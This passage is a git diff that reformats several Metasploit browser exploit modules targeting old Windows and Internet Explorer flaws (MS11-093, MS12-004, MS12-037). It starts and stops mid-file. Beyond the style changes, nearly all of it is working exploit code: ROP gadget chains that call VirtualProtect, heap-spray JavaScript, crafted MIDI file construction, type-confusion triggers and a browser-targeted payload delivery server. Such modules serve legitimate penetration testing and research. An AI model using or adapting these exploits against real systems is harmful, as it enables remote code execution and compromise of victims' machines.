$+10 rop_payload << [0x7c348b05].pack("V") # stackpivot => xchg eax, esp # ret rop_payload << [0x7c348b05].pack("V") # stackpivot => xchg eax, esp # ret @@ -155,13 +158,12 @@ def get_payload(t, cli) def load_exploit_html(my_target, cli) @heap_spray_func = "heap_spray" - p = get_payload(my_target, cli) + p = get_payload(my_target, cli) js = ie_heap_spray(my_target, p) - - #var fakeobj = unescape("%u0c0c%u0c0c"); - #call to 0c0c0c0c - #eax ==> 0c0c0a14 + # var fakeobj = unescape("%u0c0c%u0c0c"); + # call to 0c0c0c0c + # eax ==> 0c0c0a14 html = %Q| @@ -219,7 +221,7 @@ def load_exploit_html(my_target, cli) def on_request_uri(cli, request) agent = request.headers['User-Agent'] - uri = request.uri + uri = request.uri print_status("Requesting: #{uri}") my_target = get_target(agent) @@ -233,6 +235,6 @@ def on_request_uri(cli, request) html = load_exploit_html(my_target, cli) html = html.gsub(/^ {4}/, '') print_status("Sending HTML...") - send_response(cli, html, {'Content-Type'=>'text/html'}) + send_response(cli, html, { 'Content-Type' => 'text/html' }) end end diff --git a/modules/exploits/windows/browser/ms11_093_ole32.rb b/modules/exploits/windows/browser/ms11_093_ole32.rb index 9e92846d240cf..415e7866710ee 100644 --- a/modules/exploits/windows/browser/ms11_093_ole32.rb +++ b/modules/exploits/windows/browser/ms11_093_ole32.rb @@ -8,26 +8,26 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML - def initialize(info={}) - super(update_info(info, - 'Name' => "MS11-093 Microsoft Windows OLE Object File Handling Remote Code Execution", - 'Description' => %q{ + def initialize(info = {}) + super( + update_info( + info, + 'Name' => "MS11-093 Microsoft Windows OLE Object File Handling Remote Code Execution", + 'Description' => %q{ This module exploits a type confusion vulnerability in the OLE32 component of - Windows XP SP3. The vulnerability exists in the CPropertyStorage::ReadMultiple - function. - - A Visio document with a specially crafted Summary Information Stream embedded allows - to get remote code execution through Internet Explorer, on systems with Visio Viewer - installed. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ + Windows XP SP3. The vulnerability exists in the CPropertyStorage::ReadMultiple + function. + + A Visio document with a specially crafted Summary Information Stream embedded allows + to get remote code execution through Internet Explorer, on systems with Visio Viewer + installed. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Luigi Auriemma', # Vulnerability discovery and PoC 'juan vazquez' # Metasploit module ], - 'References' => - [ + 'References' => [ [ 'MSB', 'MS11-093'], [ 'CVE', '2011-3400' ], [ 'OSVDB', '77663'], @@ -35,44 +35,48 @@ def initialize(info={}) [ 'URL', 'http://aluigi.org/adv/ole32_1-adv.txt' ], [ 'URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=966' ] ], - 'Payload' => - { - 'Space' => 1000, + 'Payload' => { + 'Space' => 1000, 'BadChars' => "\x00", 'DisableNops' => true }, - 'DefaultOptions' => - { + 'DefaultOptions' => { 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ [ 'Automatic', {} ], [ 'IE 6 on Windows XP SP3 / Visio Viewer 2010', { - 'Offset' => '0x7ee - code.length', + 'Offset' => '0x7ee - code.length', 'PtrToHeap' => "\x35\x40" # Pointer from IEXPLORE.exe PE header } ], [ 'IE 7 on Windows XP SP3 / Visio Viewer 2010', { - 'Offset' => '0x7ee - code.length', + 'Offset' => '0x7ee - code.length', 'PtrToHeap' => "\x35\x40" # Pointer from IEXPLORE.exe PE header } ] ], - 'Privileged' => false, - 'DisclosureDate' => '2011-12-13', - 'DefaultTarget' => 0)) + 'Privileged' => false, + 'DisclosureDate' => '2011-12-13', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) - ]) - + ] + ) end def get_target(agent) @@ -94,7 +98,6 @@ def exploit end def on_request_uri(cli, request) - agent = request.headers['User-Agent'] my_target = get_target(agent) @@ -117,7 +120,7 @@ def on_request_uri(cli, request) p = payload.encoded js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch)) - js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch)) + js_nops = Rex::Text.to_unescape("\x0c" * 4, Rex::Arch.endian(my_target.arch)) randnop = rand_text_alpha(rand(100) + 1) js_pivot = <<-JS @@ -139,15 +142,15 @@ def on_request_uri(cli, request) } JS - js_pivot = heaplib(js_pivot, {:noobfu => true}) + js_pivot = heaplib(js_pivot, { :noobfu => true }) if datastore['OBFUSCATE'] js_pivot = ::Rex::Exploitation::JSObfu.new(js_pivot) js_pivot.obfuscate(memory_sensitive: true) end - vsd_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource - vsd_uri << "/#{rand_text_alpha(rand(6)+3)}.vsd" + vsd_uri = ('/' == get_resource[-1, 1]) ? get_resource[0, get_resource.length - 1] : get_resource + vsd_uri << "/#{rand_text_alpha(rand(6) + 3)}.vsd" html = %Q| @@ -168,15 +171,14 @@ def on_request_uri(cli, request) html = html.gsub(/^ {4}/, '') print_status("Sending html") - send_response(cli, html, {'Content-Type'=>'text/html'}) + send_response(cli, html, { 'Content-Type' => 'text/html' }) end def create_vsd - path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2011-3400", "CVE-2011-3400.vsd" ) - fd = ::File.open( path, "rb" ) + path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2011-3400", "CVE-2011-3400.vsd") + fd = ::File.open(path, "rb") vsd = fd.read(fd.stat.size) fd.close return vsd end end - diff --git a/modules/exploits/windows/browser/ms12_004_midi.rb b/modules/exploits/windows/browser/ms12_004_midi.rb index 334e45c66ecff..52cad5305a227 100644 --- a/modules/exploits/windows/browser/ms12_004_midi.rb +++ b/modules/exploits/windows/browser/ms12_004_midi.rb @@ -9,57 +9,54 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb - def initialize(info={}) - super(update_info(info, - 'Name' => "MS12-004 midiOutPlayNextPolyEvent Heap Overflow", - 'Description' => %q{ + def initialize(info = {}) + super( + update_info( + info, + 'Name' => "MS12-004 midiOutPlayNextPolyEvent Heap Overflow", + 'Description' => %q{ This module exploits a heap overflow vulnerability in the Windows Multimedia - Library (winmm.dll). The vulnerability occurs when parsing specially crafted - MIDI files. Remote code execution can be achieved by using the Windows Media Player - ActiveX control. + Library (winmm.dll). The vulnerability occurs when parsing specially crafted + MIDI files. Remote code execution can be achieved by using the Windows Media Player + ActiveX control. Exploitation is done by supplying a specially crafted MIDI file with - specific events, causing the offset calculation being higher than what is - available on the heap (0x400 allocated by WINMM!winmmAlloc), and then allowing - us to either "inc al" or "dec al" a byte. This can be used to corrupt an array - (CImplAry) we setup, and force the browser to confuse types from tagVARIANT objects, - which leverages remote code execution under the context of the user. + specific events, causing the offset calculation being higher than what is + available on the heap (0x400 allocated by WINMM!winmmAlloc), and then allowing + us to either "inc al" or "dec al" a byte. This can be used to corrupt an array + (CImplAry) we setup, and force the browser to confuse types from tagVARIANT objects, + which leverages remote code execution under the context of the user. Note: At this time, for IE 8 target, msvcrt ROP is used by default. However, - if you know your target's patch level, you may also try the 'MSHTML' advanced - option for an info leak based attack. Currently, this module only supports two - MSHTML builds: 8.0.6001.18702, which is often seen in a newly installed XP SP3. - Or 8.0.6001.19120, which is patch level before the MS12-004 fix. + if you know your target's patch level, you may also try the 'MSHTML' advanced + option for an info leak based attack. Currently, this module only supports two + MSHTML builds: 8.0.6001.18702, which is often seen in a newly installed XP SP3. + Or 8.0.6001.19120, which is patch level before the MS12-004 fix. Also, based on our testing, the vulnerability does not seem to trigger when - the victim machine is operated via rdesktop. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Shane Garrett', #Initial discovery (IBM X-Force) + the victim machine is operated via rdesktop. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Shane Garrett', # Initial discovery (IBM X-Force) 'juan vazquez', 'sinn3r' ], - 'References' => - [ + 'References' => [ [ 'MSB', 'MS12-004'], [ 'CVE', '2012-0003' ], [ 'OSVDB', '78210'], [ 'BID', '51292'] ], - 'Payload' => - { - 'Space' => 1024 + 'Payload' => { + 'Space' => 1024 }, - 'DefaultOptions' => - { - 'EXITFUNC' => "process", + 'DefaultOptions' => { + 'EXITFUNC' => "process", 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ [ 'Automatic', {} ], [ 'IE 6 on Windows XP SP3', @@ -84,39 +81,48 @@ def initialize(info={}) # ret 8 # From IMAGEHLP 'Rop' => true, - 'StackPivot' => 0x76C9B4C2, + 'StackPivot' => 0x76C9B4C2, 'DispatchDst' => 0x0c0c1bd0 } ] ], - 'Privileged' => false, - 'DisclosureDate' => '2012-01-10', - 'DefaultTarget' => 0)) + 'Privileged' => false, + 'DisclosureDate' => '2012-01-10', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) - ]) + ] + ) register_advanced_options( [ OptEnum.new('MSHTML', - [ - false, "MSHTML Build Version", '', - [ - '', #Default (no leaky leaky) - '8.0.6001.18702', #newly installed Win XP SP3 non patched - '8.0.6001.19120' #fully patched before KB2598479 - been the same at least since Sep 2011 - ] - ]) - ]) + [ + false, "MSHTML Build Version", '', + [ + '', # Default (no leaky leaky) + '8.0.6001.18702', # newly installed Win XP SP3 non patched + '8.0.6001.19120' # fully patched before KB2598479 - been the same at least since Sep 2011 + ] + ]) + ] + ) end def exploit - @m_name, @midi = get_midi + @m_name, @midi = get_midi @ml_name, @midi_leak = get_midi("leak") - @second_stage_url = rand_text_alpha(10) - @leak_param = rand_text_alpha(5) + @second_stage_url = rand_text_alpha(10) + @leak_param = rand_text_alpha(5) # Offset to CFunctionPointer vftable in MSHTML case datastore['MSHTML'] @@ -133,13 +139,13 @@ def get_target(request) print_status("Request as: #{agent}") if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/ - #Windows XP SP3 + IE 6.0 + # Windows XP SP3 + IE 6.0 return targets[1] elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/ - #Windows XP SP3 + IE 7.0 + # Windows XP SP3 + IE 7.0 return targets[2] elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/ - #Windows XP SP3 + IE 8.0 + # Windows XP SP3 + IE 8.0 return targets[3] else return nil @@ -147,7 +153,7 @@ def get_target(request) end # stage => "corruption" (default) | "leak" - def get_midi(stage="corruption") + def get_midi(stage = "corruption") # MIDI Fileformat Reference: # http://www.sonicspot.com/guide/midifiles.html # @@ -202,18 +208,17 @@ def get_midi(stage="corruption") m << "\x00\x01" # Number of tracks m << "\x00\x60" # Time division # TRACKCHUNK header - m << "MTrk" # Header + m << "MTrk" # Header m << [tc.length].pack('N') m << tc - #midi_name = "test_case.mid" + # midi_name = "test_case.mid" midi_name = rand_text_alpha(5) + ".mid" return midi_name, m end def on_request_uri(cli, request) - # Initialize a target. If none suitable, then we don't continue. my_target = target if my_target.name =~ /Automatic/ @@ -231,11 +236,11 @@ def on_request_uri(cli, request) # to an arbitrary address. if request.uri =~ /#{@ml_name}$/i print_status("Testing for info leak...") - send_response(cli, @midi_leak, {'Content-Type'=>'application/octet-strem'}) + send_response(cli, @midi_leak, { 'Content-Type' => 'application/octet-strem' }) return elsif request.uri =~ /#{@m_name}$/i print_status("Sending midi corruption file...") - send_response(cli, @midi, {'Content-Type'=>'application/octet-strem'}) + send_response(cli, @midi, { 'Content-Type' => 'application/octet-strem' }) return end @@ -257,7 +262,7 @@ def on_request_uri(cli, request) end end - def send_stage(cli, my_target, stage='trigger', leak=0) + def send_stage(cli, my_target, stage = 'trigger', leak = 0) midi_uri = get_resource.chomp("/") if stage == 'leak' @@ -265,12 +270,12 @@ def send_stage(cli, my_target, stage='trigger', leak=0) trigger = build_trigger(my_target, "leak") else midi_uri << "/#{@m_name}" - trigger = build_trigger(my_target) - spray = build_spray(my_target, leak) + trigger = build_trigger(my_target) + spray = build_spray(my_target, leak) end if datastore['OBFUSCATE'] - spray = ::Rex::Exploitation::JSObfu.new(spray).obfuscate(memory_sensitive: true) + spray = ::Rex::Exploitation::JSObfu.new(spray).obfuscate(memory_sensitive: true) trigger = ::Rex::Exploitation::JSObfu.new(trigger) trigger.obfuscate(memory_sensitive: true) trigger_fn = trigger.sym('trigger') @@ -309,11 +314,10 @@ def send_stage(cli, my_target, stage='trigger', leak=0) html = html.gsub(/^ {4}/, '') print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...") - send_response(cli, html, {'Content-Type'=>'text/html'}) + send_response(cli, html, { 'Content-Type' => 'text/html' }) end - def build_spray(my_target, leak=0) - + def build_spray(my_target, leak = 0) # Extract string based on target if my_target.name == 'IE 8 on Windows XP SP3' js_extract_str = "var block = shellcode.substring(2, (0x40000-0x21)/2);" @@ -337,7 +341,7 @@ def build_spray(my_target, leak=0) shellcode = Rex::Text.to_unescape(code) randnop = rand_text_alpha(rand(100) + 1) - js_nops = Rex::Text.to_unescape("\x0c"*4) + js_nops = Rex::Text.to_unescape("\x0c" * 4) # 1. Create big block of nops # 2. Compose one block which is nops + shellcode @@ -364,22 +368,22 @@ def build_spray(my_target, leak=0) JS - spray = heaplib(spray, {:noobfu => true}) + spray = heaplib(spray, { :noobfu => true }) return spray end # Build the JavaScript string for the attributes # type => "corruption" (default) | "leak" - def build_element(element_name, my_target, type="corruption") + def build_element(element_name, my_target, type = "corruption") dst = Rex::Text.to_unescape([my_target['DispatchDst']].pack("V")) element = '' if my_target.name =~ /IE 8/ - max = 63 # Number of attributes for IE 8 - index = 1 # Where we want to confuse the type + max = 63 # Number of attributes for IE 8 + index = 1 # Where we want to confuse the type else - max = 55 # Number of attributes for before IE 8 - index = 0 # Where we want to confuse the type + max = 55 # Number of attributes for before IE 8 + index = 0 # Where we want to confuse the type end element << "var #{element_name} = document.createElement(\"select\")" + "\n" @@ -387,10 +391,10 @@ def build_element(element_name, my_target, type="corruption") # Build attributes 0.upto(max) do |i| case type - when "corruption" - obj = (i==index) ? "unescape(\"#{dst}\")" : "alert" - else #leak - obj = "alert" + when "corruption" + obj = (i == index) ? "unescape(\"#{dst}\")" : "alert" + else # leak + obj = "alert" end element << "#{element_name}.w#{i.to_s} = #{obj}" + "\n" end @@ -404,7 +408,7 @@ def build_element(element_name, my_target, type="corruption") # 3. Make holes # 4. Let windows media play the crafted midi file and corrupt the heap # 5. Force the using of the confused tagVARIANT. - def build_trigger(my_target, type="corruption") + def build_trigger(my_target, type = "corruption") js_trigger = build_trigger_fn(my_target, type) select_element = build_element('selob', my_target, type) @@ -435,18 +439,18 @@ def build_trigger(my_target, type="corruption") #{js_trigger} JS - trigger = heaplib(trigger, {:noobfu => true}) + trigger = heaplib(trigger, { :noobfu => true }) return trigger end # type = "corruption" (default) | "leak" - def build_trigger_fn(my_target, type="corruption") - js_trigger="" + def build_trigger_fn(my_target, type = "corruption") + js_trigger = "" case type - when "corruption" - js_trigger = js_trigger_fn_corruption(my_target) - when "leak" - js_trigger = js_trigger_fn_leak(my_target) + when "corruption" + js_trigger = js_trigger_fn_corruption(my_target) + when "leak" + js_trigger = js_trigger_fn_leak(my_target) end return js_trigger end @@ -500,89 +504,89 @@ def js_trigger_fn_leak(my_target) def create_rop(t, p) # MSVCRT.dll ROP padding = '' - padding << [0x77C4CA70].pack("V*") #ADD ESP,0C; RET + padding << [0x77C4CA70].pack("V*") # ADD ESP,0C; RET padding << [t['StackPivot']].pack("V*") - padding << [0x77C4CA73].pack("V*") * 12 #ROP NOPs - generate_rop_payload('msvcrt', p, {'pivot'=>padding, 'target'=>'xp'}) + padding << [0x77C4CA73].pack("V*") * 12 # ROP NOPs + generate_rop_payload('msvcrt', p, { 'pivot' => padding, 'target' => 'xp' }) end def create_info_leak_rop(my_target, leak = 0x0) base = (leak == 0x00) ? 0x63580000 : (leak - @offset) - print_status("Image base of mshtml: 0x%x" %base) + print_status("Image base of mshtml: 0x%x" % base) # Generate the gadgets based on offset rop_gadgets = '' case @offset when 0xd92c8 rop_gadgets = - [ - :junk, - :junk, - 0x328468, # push ecx # pop esp # pop edi # pop esi # pop ebp # retn 14 - :junk, - 0x247e5d, # ROP NOPs - 0x247e5d, - 0x247e5d, - 0x247e5d, - 0x247e5d, - 0x247e5d, - 0x247e5d, - 0x247e5c, # POP ESI # RETN [mshtml.dll] - 0x137c, # ptr to &VirtualProtect() [IAT mshtml.dll] - 0x3c8db7, # MOV EDX,DWORD PTR DS:[ESI] # ADD EAX,8BCE8B00 # RETN [mshtml.dll] - 0x42e239, # PUSH EDX # XOR EAX,EAX # POP ESI # POP EBP # RETN 0x08 [mshtml.dll] - :junk, - 0x3460c, # POP EBP # RETN [mshtml.dll] - :junk, - :junk, - 0x23ef79, # & jmp esp [mshtml.dll] - 0x189303, # POP EBX # RETN [mshtml.dll] - :ebx, # 0x00000201-> ebx - 0x20437c, # POP EDX # RETN [mshtml.dll] - :edx, # 0x00000040-> edx - 0xc277, # POP ECX # RETN [mshtml.dll] - 0x53a47d, # &Writable location [mshtml.dll] - 0x4a33e2, # POP EDI # RETN [mshtml.dll] - 0x4b601, # RETN (ROP NOP) [mshtml.dll] - 0x33fbc6, # POP EAX # RETN [mshtml.dll] - :nop, - 0x52c718 # PUSHAD # RETN [mshtml.dll] - ] + [ + :junk, + :junk, + 0x328468, # push ecx # pop esp # pop edi # pop esi # pop ebp # retn 14 + :junk, + 0x247e5d, # ROP NOPs + 0x247e5d, + 0x247e5d, + 0x247e5d, + 0x247e5d, + 0x247e5d, + 0x247e5d, + 0x247e5c, # POP ESI # RETN [mshtml.dll] + 0x137c, # ptr to &VirtualProtect() [IAT mshtml.dll] + 0x3c8db7, # MOV EDX,DWORD PTR DS:[ESI] # ADD EAX,8BCE8B00 # RETN [mshtml.dll] + 0x42e239, # PUSH EDX # XOR EAX,EAX # POP ESI # POP EBP # RETN 0x08 [mshtml.dll] + :junk, + 0x3460c, # POP EBP # RETN [mshtml.dll] + :junk, + :junk, + 0x23ef79, # & jmp esp [mshtml.dll] + 0x189303, # POP EBX # RETN [mshtml.dll] + :ebx, # 0x00000201-> ebx + 0x20437c, # POP EDX # RETN [mshtml.dll] + :edx, # 0x00000040-> edx + 0xc277, # POP ECX # RETN [mshtml.dll] + 0x53a47d, # &Writable location [mshtml.dll] + 0x4a33e2, # POP EDI # RETN [mshtml.dll] + 0x4b601, # RETN (ROP NOP) [mshtml.dll] + 0x33fbc6, # POP EAX # RETN [mshtml.dll] + :nop, + 0x52c718 # PUSHAD # RETN [mshtml.dll] + ] when 0xbf190 rop_gadgets = - [ - :junk, - 0x3338ae, # push ecx # pop esp # pop edi # pop esi # pop ebp # retn 14 - :junk, - 0xe9e7, # POP ECX # RETN [mshtml.dll] 0x6358e9e7 - :junk, - :junk, - :junk, - :junk, - :junk, - 0x1318, # ptr to &VirtualProtect() [IAT mshtml.dll] - 0x48b440, # MOV EDX,DWORD PTR DS:[ECX] # RETN [mshtml.dll] - 0x3dc745, # POP ESI # RETN [mshtml.dll] - :neg, # 0xffffffff - 0x2fb18b, # INC ESI # RETN [mshtml.dll] - 0x35190d, # ADC ESI,EDX # DEC ECX # RETN 08 [mshtml.dll] - 0x4aada7, # POP EBP # RETN [mshtml.dll] - :junk, # Compensates RETN - :junk, # Compensates RETN - 0x1ffc54, # & jmp esp [mshtml.dll] - 0x4498a7, # POP EBX # RETN [mshtml.dll] - :ebx, # 0x00000800: 0x00000201-> ebx - 0x24cce4, # POP EDX # RETN [mshtml.dll] - :edx, # 0x00000040-> edx - 0x158306, # POP ECX # RETN [mshtml.dll] - 0x535098, # &Writable location [mshtml.dll] - 0x1cf217, # POP EDI # RETN [mshtml.dll] - 0xa0001, # RETN (ROP NOP) [mshtml.dll] - 0x349f9b, # POP EAX # RETN [mshtml.dll] - :nop, - 0x2afbe8 # PUSHAD # RETN [mshtml.dll] - ] + [ + :junk, + 0x3338ae, # push ecx # pop esp # pop edi # pop esi # pop ebp # retn 14 + :junk, + 0xe9e7, # POP ECX # RETN [mshtml.dll] 0x6358e9e7 + :junk, + :junk, + :junk, + :junk, + :junk, + 0x1318, # ptr to &VirtualProtect() [IAT mshtml.dll] + 0x48b440, # MOV EDX,DWORD PTR DS:[ECX] # RETN [mshtml.dll] + 0x3dc745, # POP ESI # RETN [mshtml.dll] + :neg, # 0xffffffff + 0x2fb18b, # INC ESI # RETN [mshtml.dll] + 0x35190d, # ADC ESI,EDX # DEC ECX # RETN 08 [mshtml.dll] + 0x4aada7, # POP EBP # RETN [mshtml.dll] + :junk, # Compensates RETN + :junk, # Compensates RETN + 0x1ffc54, # & jmp esp [mshtml.dll] + 0x4498a7, # POP EBX # RETN [mshtml.dll] + :ebx, # 0x00000800: 0x00000201-> ebx + 0x24cce4, # POP EDX # RETN [mshtml.dll] + :edx, # 0x00000040-> edx + 0x158306, # POP ECX # RETN [mshtml.dll] + 0x535098, # &Writable location [mshtml.dll] + 0x1cf217, # POP EDI # RETN [mshtml.dll] + 0xa0001, # RETN (ROP NOP) [mshtml.dll] + 0x349f9b, # POP EAX # RETN [mshtml.dll] + :nop, + 0x2afbe8 # PUSHAD # RETN [mshtml.dll] + ] end nops = make_nops(4).unpack("L")[0].to_i diff --git a/modules/exploits/windows/browser/ms12_037_ie_colspan.rb b/modules/exploits/windows/browser/ms12_037_ie_colspan.rb index 12b0b98713d49..70d3562b4350f 100644 --- a/modules/exploits/windows/browser/ms12_037_ie_colspan.rb +++ b/modules/exploits/windows/browser/ms12_037_ie_colspan.rb @@ -7,88 +7,95 @@ class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML - #include Msf::Exploit::Remote::BrowserAutopwn - #autopwn_info({ + # include Msf::Exploit::Remote::BrowserAutopwn + # autopwn_info({ # :os_name => OperatingSystems::Match::WINDOWS, # :ua_minver => "8.0", # :ua_maxver => "8.0", # :rank => NormalRanking, # reliable memory corruption # :javascript => true - #}) + # }) def initialize(info = {}) - super(update_info(info, - 'Name' => 'MS12-037 Microsoft Internet Explorer Fixed Table Col Span Heap Overflow', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'MS12-037 Microsoft Internet Explorer Fixed Table Col Span Heap Overflow', + 'Description' => %q{ This module exploits a heap overflow vulnerability in Internet Explorer caused - by an incorrect handling of the span attribute for col elements from a fixed table, - when they are modified dynamically by javascript code. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Alexandre Pelletier', # Vulnerability analysis + by an incorrect handling of the span attribute for col elements from a fixed table, + when they are modified dynamically by javascript code. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Alexandre Pelletier', # Vulnerability analysis 'mr_me ', # Metasploit module 'binjo', # Metasploit module 'sinn3r', # Help with the Metasploit module 'juan vazquez' # Help with the Metasploit module ], - 'References' => - [ + 'References' => [ [ 'CVE', '2012-1876' ], [ 'OSVDB', '82866'], [ 'BID', '53848' ], [ 'MSB', 'MS12-037' ] ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, - 'Payload' => - { - 'Space' => 1024, - 'BadChars' => "\x00", + 'Payload' => { + 'Space' => 1024, + 'BadChars' => "\x00", }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ [ 'Automatic', {} ], - [ 'IE 8 on Windows XP SP3 with msvcrt ROP', + [ + 'IE 8 on Windows XP SP3 with msvcrt ROP', { 'Rop' => :msvcrt } ], - [ 'IE 8 on Windows 7 SP1', + [ + 'IE 8 on Windows 7 SP1', { 'Rop' => :jre } ] ], - 'Privileged' => false, - 'DisclosureDate' => '2012-06-12', - 'DefaultTarget' => 0)) - - register_options( - [ - OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) - ]) + 'Privileged' => false, + 'DisclosureDate' => '2012-06-12', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) + + register_options( + [ + OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) + ] + ) end def get_target(agent) - #If the user is already specified by the user, we'll just use that + # If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' if agent =~ /NT 5\.1/ and agent =~ /MSIE 8/ - return targets[1] #IE 8 on Windows XP SP3 + return targets[1] # IE 8 on Windows XP SP3 elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/ - return targets[2] #IE 8 on Windows 7 with JRE + return targets[2] # IE 8 on Windows 7 with JRE else return nil end end - def junk(n=4) + def junk(n = 4) return rand_text_alpha(n).unpack("V").first end @@ -97,63 +104,62 @@ def nop end def get_payload(t) - code = payload.encoded # Both ROP chains generated by mona.py - See corelan.be case t['Rop'] - when :msvcrt - print_status("Using msvcrt ROP") - exec_size = code.length - rop = - [ - 0x77c4ec01, # retn - 0x77c4ec00, # pop ebp; retn - 0x77c15ed5, # xchg eax,esp; retn (pivot) - 0x77c4e392, # pop eax; retn - 0x77c11120, # <- *&VirtualProtect() - 0x77c2e493, # mov eax, dword ptr ds:[eax]; pop ebp; retn - junk, - 0x77c2dd6c, - 0x77c4ec00, # pop ebp; retn - 0x77c35459, # ptr to 'push esp; ret' - 0x77c47705, # pop ebx; retn - exec_size, # ebx - 0x77c3ea01, # pop ecx; retn - 0x77c5d000, # W pointer (lpOldProtect) (-> ecx) - 0x77c46100, # pop edi; retn - 0x77c46101, # rop nop (-> edi) - 0x77c4d680, # pop edx; retn - 0x00000040, # newProtect (0x40) (-> edx) - 0x77c4e392, # pop eax; retn - nop, # nops (-> eax) - 0x77c12df9 # pushad; retn - ].pack("V*") - when :jre - print_status("Using JRE ROP") - exec_size = code.length - rop = - [ - 0x7c346c0b, # retn - 0x7c36f970, # pop ebp; retn - 0x7c348b05, # xchg eax,esp; retn (pivot) - 0x7c36f970, # pop ebp; retn [MSVCR71.dll] - 0x7c36f970, # skip 4 bytes [MSVCR71.dll] - 0x7c34373a, # pop ebx ; retn [MSVCR71.dll] - exec_size, # ebx - 0x7c3444d0, # pop edx ; retn [MSVCR71.dll] - 0x00000040, # 0x00000040-> edx - 0x7c361829, # pop ecx ; retn [MSVCR71.dll] - 0x7c38f036, # &Writable location [MSVCR71.dll] - 0x7c342766, # pop edi ; retn [MSVCR71.dll] - 0x7c346c0b, # retn (rop nop) [MSVCR71.dll] - 0x7c350564, # pop esi ; retn [MSVCR71.dll] - 0x7c3415a2, # jmp [eax] [MSVCR71.dll] - 0x7c3766ff, # pop eax ; retn [MSVCR71.dll] - 0x7c37a151, # ptr to &VirtualProtect() - 0x0ef [IAT msvcr71.dll] - 0x7c378c81, # pushad # add al,0ef ; retn [MSVCR71.dll] - 0x7c345c30 # ptr to 'push esp; ret ' [MSVCR71.dll] - ].pack("V*") + when :msvcrt + print_status("Using msvcrt ROP") + exec_size = code.length + rop = + [ + 0x77c4ec01, # retn + 0x77c4ec00, # pop ebp; retn + 0x77c15ed5, # xchg eax,esp; retn (pivot) + 0x77c4e392, # pop eax; retn + 0x77c11120, # <- *&VirtualProtect() + 0x77c2e493, # mov eax, dword ptr ds:[eax]; pop ebp; retn + junk, + 0x77c2dd6c, + 0x77c4ec00, # pop ebp; retn + 0x77c35459, # ptr to 'push esp; ret' + 0x77c47705, # pop ebx; retn + exec_size, # ebx + 0x77c3ea01, # pop ecx; retn + 0x77c5d000, # W pointer (lpOldProtect) (-> ecx) + 0x77c46100, # pop edi; retn + 0x77c46101, # rop nop (-> edi) + 0x77c4d680, # pop edx; retn + 0x00000040, # newProtect (0x40) (-> edx) + 0x77c4e392, # pop eax; retn + nop, # nops (-> eax) + 0x77c12df9 # pushad; retn + ].pack("V*") + when :jre + print_status("Using JRE ROP") + exec_size = code.length + rop = + [ + 0x7c346c0b, # retn + 0x7c36f970, # pop ebp; retn + 0x7c348b05, # xchg eax,esp; retn (pivot) + 0x7c36f970, # pop ebp; retn [MSVCR71.dll] + 0x7c36f970, # skip 4 bytes [MSVCR71.dll] + 0x7c34373a, # pop ebx ; retn [MSVCR71.dll] + exec_size, # ebx + 0x7c3444d0, # pop edx ; retn [MSVCR71.dll] + 0x00000040, # 0x00000040-> edx + 0x7c361829, # pop ecx ; retn [MSVCR71.dll] + 0x7c38f036, # &Writable location [MSVCR71.dll] + 0x7c342766, # pop edi ; retn [MSVCR71.dll] + 0x7c346c0b, # retn (rop nop) [MSVCR71.dll] + 0x7c350564, # pop esi ; retn [MSVCR71.dll] + 0x7c3415a2, # jmp [eax] [MSVCR71.dll] + 0x7c3766ff, # pop eax ; retn [MSVCR71.dll] + 0x7c37a151, # ptr to &VirtualProtect() - 0x0ef [IAT msvcr71.dll] + 0x7c378c81, # pushad # add al,0ef ; retn [MSVCR71.dll] + 0x7c345c30 # ptr to 'push esp; ret ' [MSVCR71.dll] + ].pack("V*") end code = rop + code @@ -161,7 +167,6 @@ def get_payload(t) end def on_request_uri(cli, request) - agent = request.headers['User-Agent'] my_target = 